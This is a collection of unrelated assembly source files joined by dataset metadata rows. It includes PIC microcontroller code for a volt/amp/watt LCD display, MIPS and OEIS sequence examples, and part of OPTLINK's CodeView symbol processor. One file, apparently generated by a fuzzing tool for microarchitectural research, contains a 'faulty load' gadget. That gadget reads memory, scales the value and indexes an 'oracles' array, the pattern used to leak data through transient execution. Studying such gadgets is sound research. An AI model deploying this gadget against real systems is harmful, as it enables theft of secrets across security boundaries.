GOTO CONTINUE_1 ;IF NOT ZERO
MOVF ANIN2H, W
IORLW 0x00
BTFSS STATUS, Z
GOTO CONTINUE_1 ;IF NOT ZERO
BSF ZERO_INDICATOR, A
CALL CLRDIGITS ;ELSE
GOTO OUTPUT_1
CONTINUE_1:
CALL CONVERT_AMPS_TO_ASCII ;CONVERT AMPS TO ASCII
OUTPUT_1:
MOVLW 0x20
CALL LCD_CHAR
MOVF SIGN, W
CALL LCD_CHAR
MOVF V_ASCII_3, W
CALL LCD_CHAR
MOVLW '.'
CALL LCD_CHAR
MOVF V_ASCII_2, W
CALL LCD_CHAR
MOVF V_ASCII_1, W
CALL LCD_CHAR
MOVF V_ASCII_0, W
CALL LCD_CHAR
MOVLW 'A'
CALL LCD_CHAR
;;;WATTAGE CALCULATION;;;
BTFSC ZERO_INDICATOR, V
GOTO CONTINUE_22
BTFSC ZERO_INDICATOR, A
GOTO CONTINUE_22
CONTINUE_3:
CALL CALC_WATTAGE
GOTO OUTPUT_2
CONTINUE_22:
CALL CLRDIGITS ;ELSE
OUTPUT_2:
CALL LCD_L2
MOVF V_ASCII_4, W
CALL LCD_CHAR
MOVF V_ASCII_3, W
CALL LCD_CHAR
MOVLW '.'
CALL LCD_CHAR
MOVF V_ASCII_2, W
CALL LCD_CHAR
MOVF V_ASCII_1, W
CALL LCD_CHAR
MOVF V_ASCII_0, W
CALL LCD_CHAR
MOVLW 'W'
CALL LCD_CHAR
CALL LCD_L1
GOTO MAIN
;
;CLEAR LCD DIGITS
;
CLRDIGITS:
MOVLW 0x30
MOVWF V_ASCII_0
MOVWF V_ASCII_1
MOVWF V_ASCII_2
MOVWF V_ASCII_3
MOVWF V_ASCII_4
RETURN
;
;INIT MODE
;
INIT_MODE:
CALL LCD_CLR ;CLEAR DISPLAY
CALL LCD_L1 ;GOTO START OF ROW
INIT_MODE_0:
CLRF NUMERATOR + 0
CLRF NUMERATOR + 1
CLRF NUMERATOR + 2
;READ THE ANALOG PIN HALL0_IN
MOVLW HALL0_IN ;SET ANALOG CHANNEL 0
CALL ADC_INIT ;INIT ADC MODULE
CALL ADC_READ ;READ ANALOG VALUE AND STORE TO CONVRES REGISTER
MOVF CONVRESL, W
MOVWF ANIN1L
MOVF CONVRESH, W
MOVWF ANIN1H
;READ THE ANALOG PIN HALL1_IN
MOVLW HALL1_IN ;SET ANALOG CHANNEL 1
CALL ADC_INIT ;INIT ADC MODULE
CALL ADC_READ ;READ ANALOG VALUE AND STORE TO CONVRES REGISTER
MOVF CONVRESL, W
MOVWF ANIN2L
MOVF CONVRESH, W
MOVWF ANIN2H
;SUB THE HIGH BYTES OF 2 READINGS
MOVF ANIN1L, W
SUBWF ANIN2L, W
MOVWF NUMERATOR + 0
BTFSS STATUS, C
DECF ANIN2H
;SUB THE LOW BYTES
MOVF ANIN1H, W
SUBWF ANIN2H, W
MOVWF NUMERATOR + 1
;IF THE SUBTRUCTOR IS > THAN THE SUBTRACTIVE
;FIRST WE CHECK THE HIGH BYTE
MOVF ANIN1H, W
SUBWF ANIN2H, W
BTFSS STATUS, C
GOTO COMH
;AND IF FALSE, THEN WE CHECK AND THE LOW BYTE
MOVF ANIN1L, W
SUBWF ANIN2L, W
BTFSS STATUS, C
GOTO COML
GOTO NOCOM
;THEN WE HAVE TO TAKE THE COMPLEMENT, BECAUSE WE NEED AN ABSOLUTE VALUE AND NOT A NEGATIVE NUM
COML:
COMF NUMERATOR + 0, F
COMH:
COMF NUMERATOR + 1, F
INCF NUMERATOR + 0
;IF WE DONT HAVE A NEGATIVE CONVERT TO ASCII AND OUTPUT TO THE LCD
NOCOM:
MOVLW B'00000011'
ANDWF NUMERATOR + 1, F
CALL CONVERT2ASCII
INIT_OUTPUT:
MOVF V_ASCII_4, W
CALL LCD_CHAR
MOVF V_ASCII_3, W
CALL LCD_CHAR
MOVF V_ASCII_2, W
CALL LCD_CHAR
MOVF V_ASCII_1, W
CALL LCD_CHAR
MOVF V_ASCII_0, W
CALL LCD_CHAR
CALL LCD_L1
BTFSC PORTA, MODE_BTN
GOTO INIT_MODE_0
RETURN
END | 18.223377 | 121 | 0.704105 |
10544015ac4dc1f346abd069d70a535e30f79476 | 542 | asm | Assembly | ACH2034/mips-assembly/loop.asm | vitormrts/si-each-usp | a2d2133552fd990df25b4c69b4c0bc4ab4a85098 | [
"MIT"
] | 1 | 2021-02-07T18:58:52.000Z | 2021-02-07T18:58:52.000Z | ACH2034/mips-assembly/loop.asm | vitormrts/si-each-usp | a2d2133552fd990df25b4c69b4c0bc4ab4a85098 | [
"MIT"
] | null | null | null | ACH2034/mips-assembly/loop.asm | vitormrts/si-each-usp | a2d2133552fd990df25b4c69b4c0bc4ab4a85098 | [
"MIT"
] | null | null | null | ########## LOOP
.text
.globl main
main:
li $a0,0 # inicia o total
li $a1,1 # inicia o contador
loop:
add $a0,$a0,$a1 # adiciona o contador no total
addi $a1,$a1,1 # incrementa o contador
ble $a1,10,loop #verifica se eh menor ou igual a 10. caso sim, continua o loop
li $v0,1 # imprime o resultado
syscall
li $v0,10 # termina
syscall | 36.133333 | 101 | 0.424354 |
9ac11bc9ad94ae34c2a9f1edd71980212f6e2ad8 | 479 | asm | Assembly | programs/oeis/010/A010958.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/010/A010958.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/010/A010958.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A010958: Binomial coefficient C(42,n).
; 1,42,861,11480,111930,850668,5245786,26978328,118030185,445891810,1471442973,4280561376,11058116888,25518731280,52860229080,98672427616,166509721602,254661927156,353697121050,446775310800,513791607420,538257874440,513791607420,446775310800,353697121050,254661927156,166509721602,98672427616,52860229080,25518731280,11058116888,4280561376,1471442973,445891810,118030185,26978328,5245786,850668,111930,11480,861,42,1
mov $1,42
bin $1,$0
| 79.833333 | 416 | 0.862213 |
9db058cadd7d057eda842c7e7e5a8a5a3c5d5bed | 400 | asm | Assembly | programs/oeis/194/A194519.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/194/A194519.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/194/A194519.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A194519: Second coordinate of (3,7)-Lagrange pair for n.
; 1,-1,0,1,-1,0,1,-1,0,1,2,0,1,2,0,1,2,0,1,2,3,1,2,3,1,2,3,1,2,3,4,2,3,4,2,3,4,2,3,4,5,3,4,5,3,4,5,3,4,5,6,4,5,6,4,5,6,4,5,6,7,5,6,7,5,6,7,5,6,7,8,6,7,8,6,7,8,6,7,8,9,7,8,9,7,8,9,7,8,9,10,8,9,10,8,9,10,8,9,10
mul $0,3
add $0,8
lpb $0,1
add $0,1
mov $1,$0
div $0,10
mod $1,10
sub $1,4
add $1,$0
sub $0,$0
lpe
sub $1,2
div $1,3
| 23.529412 | 208 | 0.53 |
335e55df750c231b0680a819153d775139953d50 | 391 | asm | Assembly | programs/oeis/030/A030221.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/030/A030221.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/030/A030221.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A030221: Chebyshev even indexed U-polynomials evaluated at sqrt(7)/2.
; 1,6,29,139,666,3191,15289,73254,350981,1681651,8057274,38604719,184966321,886226886,4246168109,20344613659,97476900186,467039887271,2237722536169,10721572793574,51370141431701,246129134364931,1179275530392954,5650248517599839
mov $1,1
mov $2,4
lpb $0,1
sub $0,1
add $2,$1
add $1,$2
add $2,$1
add $2,$1
lpe
| 30.076923 | 227 | 0.769821 |
56758067cbb122281a34a8a816aff50721024159 | 5,606 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_5_1305.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_5_1305.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_5_1305.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r8
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0xaecb, %rsi
lea addresses_UC_ht+0x177cb, %rdi
clflush (%rdi)
nop
cmp $51053, %rax
mov $34, %rcx
rep movsw
nop
add $65420, %r13
lea addresses_normal_ht+0x5bf, %r8
cmp %r10, %r10
mov $0x6162636465666768, %rax
movq %rax, %xmm0
vmovups %ymm0, (%r8)
nop
nop
nop
nop
sub $53616, %rdi
lea addresses_D_ht+0x7dcb, %rax
nop
nop
and %r13, %r13
vmovups (%rax), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r10
nop
nop
nop
nop
nop
dec %rcx
lea addresses_A_ht+0x17f21, %rsi
lea addresses_UC_ht+0x3407, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $14, %rcx
rep movsl
nop
nop
nop
nop
nop
and $8282, %r10
lea addresses_WT_ht+0xeb98, %rcx
nop
nop
and $3607, %r13
movw $0x6162, (%rcx)
nop
nop
nop
nop
nop
add %r13, %r13
lea addresses_A_ht+0x10c97, %rsi
nop
nop
nop
sub $16358, %rax
movb $0x61, (%rsi)
nop
cmp %r8, %r8
lea addresses_WC_ht+0x48cb, %r13
nop
nop
nop
xor %r10, %r10
mov $0x6162636465666768, %rdx
movq %rdx, %xmm0
movups %xmm0, (%r13)
nop
nop
nop
and $46758, %rdi
lea addresses_WC_ht+0x120bd, %rdi
nop
nop
nop
add $22186, %rcx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
nop
nop
cmp $6609, %rsi
lea addresses_D_ht+0x10ecb, %rsi
lea addresses_UC_ht+0xb6cb, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %r13
mov $103, %rcx
rep movsw
nop
nop
and $23019, %rsi
lea addresses_D_ht+0xa4cb, %rax
nop
nop
nop
cmp $45730, %r13
movl $0x61626364, (%rax)
add $19726, %r10
lea addresses_UC_ht+0x13fe0, %rsi
nop
nop
nop
inc %rax
mov (%rsi), %edx
nop
nop
nop
add %r13, %r13
lea addresses_WC_ht+0xf2cb, %rsi
lea addresses_UC_ht+0x58fb, %rdi
clflush (%rsi)
nop
nop
and $16936, %r13
mov $4, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $6321, %rdi
lea addresses_UC_ht+0x36cb, %r8
nop
dec %r13
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%r8)
nop
and $60112, %r10
lea addresses_normal_ht+0xdacb, %rsi
inc %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm7
vmovups %ymm7, (%rsi)
nop
nop
nop
nop
nop
add $48293, %r8
lea addresses_D_ht+0x1d7b7, %rsi
lea addresses_normal_ht+0x15033, %rdi
nop
nop
nop
nop
nop
xor $58182, %r10
mov $6, %rcx
rep movsw
nop
and %rdi, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r8
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rbp
push %rbx
push %rcx
push %rdx
// Store
lea addresses_normal+0x1dfe4, %r10
nop
cmp $59513, %r15
movl $0x51525354, (%r10)
nop
nop
nop
xor $14077, %r11
// Load
mov $0x4b, %rbx
cmp $58741, %rbp
vmovups (%rbx), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $0, %xmm0, %rdx
nop
nop
nop
nop
cmp %rbx, %rbx
// Faulty Load
lea addresses_RW+0x10ecb, %r11
nop
nop
nop
nop
and %rbx, %rbx
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdx
lea oracles, %r10
and $0xff, %rdx
shlq $12, %rdx
mov (%r10,%rdx,1), %rdx
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'32': 5}
32 32 32 32 32
*/
| 20.534799 | 153 | 0.654477 |
9b6a920b2c2f497eb32e36d62167722c8fcdb35d | 32 | asm | Assembly | test/asm/include-recursion.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | 522 | 2017-02-25T21:10:13.000Z | 2020-09-13T14:26:18.000Z | test/asm/include-recursion.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | 405 | 2017-02-25T21:32:37.000Z | 2020-09-13T16:43:29.000Z | test/asm/include-recursion.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | 84 | 2017-02-25T21:10:26.000Z | 2020-09-13T14:28:25.000Z | INCLUDE "include-recursion.asm"
| 16 | 31 | 0.8125 |
b4d57335906eaa61b8044eb4eb9b0a2ce05dc189 | 2,427 | asm | Assembly | lib/target/sos/classic/sos_crt0.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | lib/target/sos/classic/sos_crt0.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | lib/target/sos/classic/sos_crt0.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
; Startup for S-OS (The Sentinel) Japanese OS
;
; Stefano Bodrato - Winter 2013
;
; $Id: sos_crt0.asm,v 1.16 2016-07-15 21:38:08 dom Exp $
MODULE sos_crt0
defc crt0 = 1
INCLUDE "zcc_opt.def"
EXTERN _main ;main() is always external to crt0
PUBLIC cleanup ;jp'd to by exit()
PUBLIC l_dcal ;jp(hl)
IF !DEFINED_CRT_ORG_CODE
defc CRT_ORG_CODE = $3000
ENDIF
IF !DEFINED_CRT_COMMANDLINE_REDIRECTION
define DEFINED_CRT_COMMANDLINE_REDIRECTION
defc DEF__CRT_COMMANDLINE_REDIRECTION = 0
ENDIF
defc TAR__clib_exit_stack_size = 32
defc TAR__register_sp = -0x1f6a ;;Upper limit of the user area
defc __CPU_CLOCK = 4000000
INCLUDE "crt/classic/crt_rules.inc"
org CRT_ORG_CODE
start:
ld (start1+1),sp ;Save entry stack
INCLUDE "crt/classic/crt_init_sp.asm"
INCLUDE "crt/classic/crt_init_atexit.asm"
dec sp
call crt0_init_bss
ld (exitsp),sp
IF DEFINED_USING_amalloc
INCLUDE "crt/classic/crt_init_amalloc.asm"
ENDIF
; Push pointers to argv[n] onto the stack now
; We must start from the end
ld hl,0 ;NULL pointer at end, just in case
push hl
ld b,h ; parameter counter
ld c,h ; character counter
ld hl,($1F76) ; #KBFAD
; Program is entered with a 'J' (jump command) at location 3000
; so the command name will be always 3000, we skip eventual balnks,
; so "J3000" and "J 3000" will have the same effect
skipblank:
inc hl
inc hl
ld a,(hl)
cp ' '
jr z,skipblank
ld a,(hl)
and a
jp z,argv_done
dec hl
find_end:
inc hl
inc c
ld a,(hl)
and a
jr nz,find_end
dec hl
; now HL points to the end of command line
; and C holds the length of args buffer
ld b,0
INCLUDE "crt/classic/crt_command_line.asm"
push hl ;argv
push bc ;argc
call _main ;Call user code
pop bc ;kill argv
pop bc ;kill argc
cleanup:
push hl
call crt0_exit
pop bc ;Get exit() value into bc
start1:
ld sp,0 ;Pick up entry sp
jp $1FFA ; HOT boot
l_dcal:
jp (hl) ;Used for call by function ptr
INCLUDE "crt/classic/crt_runtime_selection.asm"
INCLUDE "crt/classic/crt_section.asm"
| 23.563107 | 69 | 0.603626 |
9f9693413bd2e054da83da416d3ec590a6fd45eb | 37,848 | asm | Assembly | cv/cvsymbol.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | cv/cvsymbol.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | cv/cvsymbol.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE CVSYMBOL - Copyright (c) SLR Systems 1994
INCLUDE MACROS
if fg_cvpack
INCLUDE CVTYPES
PUBLIC PROCESS_CV_SYMBOLS,GET_NAME_HASH32,SKIP_LEAF_SICXAX,OPTI_HASH32,OPTI_HASH32_CASE,GET_NAME_HASH32_CASE
.DATA
EXTERNDEF TEMP_RECORD:BYTE
EXTERNDEF EXETABLE:DWORD,SYMBOL_LENGTH:DWORD,CV_REFSYM_CNT:DWORD,CURNMOD_GINDEX:DWORD,SSYM_HASH:DWORD
EXTERNDEF SSYM_HASH_LOG:DWORD,FIX2_SM_LEN:DWORD,BYTES_SO_FAR:DWORD,LAST_PEOBJECT_NUMBER:DWORD
EXTERNDEF CURNMOD_NUMBER:DWORD,FIRST_GSYM_GINDEX:DWORD,LAST_SSYM_GINDEX:DWORD,FIRST_SSYM_GINDEX:DWORD
EXTERNDEF LAST_GSYM_GINDEX:DWORD,CV_SEGMENT_COUNT:DWORD
EXTERNDEF CV_LTYPE_GARRAY:STD_PTR_S,SEGMENT_GARRAY:STD_PTR_S,CV_SSEARCH_GARRAY:STD_PTR_S
EXTERNDEF CV_SSYM_GARRAY:STD_PTR_S,CV_GSYM_GARRAY:STD_PTR_S,CV_ASYM_STRUCTURE:SEQ_STRUCT
.CODE CVPACK_TEXT
externdef _checkpoint:proc
externdef _install_gsym:proc
externdef _install_gsym_ref:proc
externdef _install_globalsym:proc
externdef _get_name_hash32:proc
externdef _opti_hash32:proc
EXTERNDEF ALLOC_LOCAL:PROC,RELEASE_EXETABLE_ALL:PROC,RELEASE_BLOCK:PROC,ERR_RET:PROC,WARN_RET:PROC
EXTERNDEF _err_abort:proc,RELEASE_BLOCK:PROC,GET_NEW_LOG_BLK:PROC,INSTALL_GLOBALSYM:PROC
EXTERNDEF STORE_EAXECX_EDX_SEQ:PROC,INSTALL_STATICSYM:PROC,STORE_EAXECX_EDXEBX_RANDOM:PROC
EXTERNDEF READ_EAXECX_EDXEBX_RANDOM:PROC,FLUSH_EAX_TO_FINAL:PROC,WRITE_CV_INDEX:PROC
EXTERNDEF CONVERT_CV_LTYPE_GTYPE_A:PROC,CV_SSYM_POOL_GET:PROC
EXTERNDEF CVP_CORRUPT_ERR:ABS,CVP_SYMDEL_ERR:ABS,CVP_BAD_LEAF_ERR:ABS,CVP_SCOPE_ERR:ABS,CVP_NEST_SEG_ERR:ABS
EXTERNDEF CVP_BLOCK_WO_PARENT_ERR:ABS,CVP_SSEARCH_ERR:ABS,CVP_SYMBOLS_64K_ERR:ABS
CVSYMBOLS_VARS STRUC
CV_SCOPE_NEST_TABLE_BP DB 256 DUP(?) ;SCOPES CAN NEST 256 LEVELS
CV_IREF_BP CV_IREF_STRUCT <>
CV_DELETE_FLAG_BP DB ?
DB ?
DW ?
CV_SYM_RELEASE_BP DB ?
DB ?
DW ?
CV_SCOPE_LEVEL_BP DD ?
CV_BYTES_LEFT_BP DD ?
CV_THIS_BLOCK_BP DD ?
CV_THIS_BLOCK_LIMIT_BP DD ?
CV_NEXT_BLOCK_BP DD ?
CV_BYTES_PTR_BP DD ?
CV_ID_LB_BP DD ?
CV_ID_LIMIT_BP DD ?
CV_SSEARCH_TBL_BP DD ?
CV_SSEARCH_BLOCK_BP DD ?
CV_SSEARCH_CNT_BP DD ?
CV_PPARENT_BP DD ?
CV_PPARENT_SEGMENT_BP DD ?
CV_NEXT_SSEARCH_BP DD ?
CV_TEMP_DWORD_BP DD ?
CV_GSYM_START_BP DD ?
CVSYMBOLS_VARS ENDS
FIX MACRO X
X EQU ([EBP-SIZE CVSYMBOLS_VARS].(X&_BP))
ENDM
FIX CV_SCOPE_NEST_TABLE
FIX CV_SCOPE_LEVEL
FIX CV_DELETE_FLAG
FIX CV_SYM_RELEASE
FIX CV_BYTES_LEFT
FIX CV_THIS_BLOCK
FIX CV_THIS_BLOCK_LIMIT
FIX CV_NEXT_BLOCK
FIX CV_BYTES_PTR
FIX CV_ID_LB
FIX CV_ID_LIMIT
FIX CV_SSEARCH_TBL
FIX CV_SSEARCH_BLOCK
FIX CV_SSEARCH_CNT
FIX CV_PPARENT
FIX CV_PPARENT_SEGMENT
FIX CV_NEXT_SSEARCH
FIX CV_TEMP_DWORD
FIX CV_IREF
FIX CV_GSYM_START
CV_SSEARCH_PTRS EQU DWORD PTR CV_SCOPE_NEST_TABLE
GET_CV_ASYM_OFFSET MACRO
;
;
;
MOV EAX,CV_ASYM_STRUCTURE._SEQ_PTR
ENDM
PROCESS_CV_SYMBOLS PROC
;push 1
;call _checkpoint
;add ESP,4
;
;CONVERT CV4 SYMBOLS SEGMENT INTO ALIGNSYM AND GLOBALSYM
;
PUSHM EBP,EDI,ESI,EBX
MOV EBP,ESP
SUB ESP,SIZE CVSYMBOLS_VARS
ASSUME EBP:PTR CVSYMBOLS_VARS
XOR EAX,EAX
MOV CV_SCOPE_LEVEL,EAX
MOV CV_BYTES_PTR,EAX
MOV DPTR CV_DELETE_FLAG,EAX
MOV DPTR CV_SYM_RELEASE,EAX
MOV CV_SSEARCH_CNT,EAX
MOV CV_SSEARCH_TBL,EAX
MOV EAX,LAST_GSYM_GINDEX
MOV CV_GSYM_START,EAX
CALL INIT_CV_READER ;ESI IS POINTER
;
;FIRST PASS
;
; 1. CHANGE SYMBOL IDs TO INTERNAL FORMAT
; 2. DETERMINE SYMBOLS TO DELETE BASED ON UNUSED COMDATS
; 3. COUNT NUMBER OF S_SSEARCH SYMBOLS WE WILL NEED
; 4. MOVE GDATAxx, AND UNSCOPED UDT AND CONSTANT SYMBOLS TO GLOBALSYM TABLE
;
CALL GET_CV_DWORD
DEC EAX
JNZ L9$
CALL GET_NEW_LOG_BLK
MOV CV_SSEARCH_TBL,EAX
MOV EDI,EAX
XOR EAX,EAX
MOV ECX,CV_SEGMENT_COUNT
if fg_pe
BITT OUTPUT_PE
JZ L05$
MOV ECX,LAST_PEOBJECT_NUMBER
L05$:
endif
SHRI ECX,5 ;1 BIT PER SEGMENT
INC ECX
REP STOSD
LEA EDI,CV_ASYM_STRUCTURE
MOV ECX,SIZE SEQ_STRUCT/4+ 1K*1K/PAGE_SIZE/4
REP STOSD
JMP L2$
L1$:
CALL GET_CV_SYMBOL ;GET PTR TO NEXT SYMBOL, SYMBOL ID ADJUSTED
CALL PROCSYM_PASS1[EBX*4] ;PROCESS BASED ON SYMBOL ID
CALL PUT_CV_SYMBOL ;STORE RESULT IF NOT DELETED
L2$:
MOV EAX,CV_BYTES_LEFT
OR EAX,EAX
JNZ L1$
;
;MIDDLE
;
; 0. OUTPUT 00000001
; 1. OUTPUT S_SEARCH SYMBOLS
;
MOV EAX,CV_SSEARCH_TBL
CALL RELEASE_BLOCK
MOV EAX,OFF ZERO_ONE
MOV ECX,4
LEA EDX,CV_ASYM_STRUCTURE
CALL STORE_EAXECX_EDX_SEQ
CALL DO_SSEARCH_SYMS
;
;SECOND PASS
;
; 1. IGNORE DELETED SYMBOLS
; 2. CONVERT TYPES TO GLOBAL INDEXES -
; 3. LINK SCOPES PER LOGICAL SEGMENT
; 4. CREATE STATICSYM ENTRIES FOR LPROCs AND LDATAs
; 5. CREATE GLOBALSYM PROCREF ENTRIES FOR GPROCs
; 6. CHANGE SYMBOL IDs TO EXTERNAL FORMAT
; 7. COPY SYMBOLS TO REAL OUTPUT
; 8. ADD S_ALIGN SYMBOLS AS NECESSARY *** NO! ***
;
MOV CV_SYM_RELEASE,-1
CALL INIT_CV_READER
CALL GET_CV_DWORD ;SKIP SIGNATURE
XOR EAX,EAX
MOV CV_BYTES_PTR,ESI
MOV CV_PPARENT,EAX
JMP L7$
L9$:
CALL RELEASE_EXETABLE_ALL
JMP L99$
L5$:
CALL GET_CV_SYMBOL2 ;GET SYMBOL, PASS2
CALL PROCSYM_PASS2[EBX*4] ;PROCESS BASED ON SYMBOL ID
CALL PUT_CV_SYMBOL2 ;OUTPUT IF NOT DELETED
L7$:
MOV EAX,CV_BYTES_LEFT
OR EAX,EAX
JNZ L5$
CALL ADJUST_CV_PTR ;RELEASE CURRENT (LAST) BLOCK
;
;CLEAN-UP
;
; 1. OUTPUT ALIGNSYM SECTION AND CV_INDEX IF NOT ZERO LENGTH
; 2. FIX TYPES ON ANY GLOBALSYM ENTRIES WE MADE
;
CALL CV_SYMBOL_CLEANUP
L99$:
MOV ESP,EBP
POPM EBX,ESI,EDI,EBP
RET
PROCESS_CV_SYMBOLS ENDP
PP1_PASS_THRU PROC NEAR
;
;KEEP SYMBOL NO MATTER WHAT
;
RET
PP1_PASS_THRU ENDP
PP1_LDATA16 PROC NEAR
;
;
;
ASSUME ESI:PTR CV_LDATA16_STRUCT
MOV CL,CV_DELETE_FLAG
MOV AL,BPTR [ESI]._SEGMENT+1 ;SEGMENT IS HIGH WORD
OR CL,CL
JNZ PP1_DELETE
AND AL,7FH
MOV BPTR [ESI]._SEGMENT+1,AL
RET
ASSUME ESI:NOTHING
PP1_LDATA16 ENDP
PP1_PASS_ND PROC NEAR
;
;KEEP SYMBOL IF NOT DELETING CURRENT SCOPE
;
MOV AL,CV_DELETE_FLAG
PP1_PASS_ND_AL::
OR AL,AL
JNZ PP1_DELETE
RET
PP1_PASS_ND ENDP
PP1_CONSTANT PROC NEAR
;
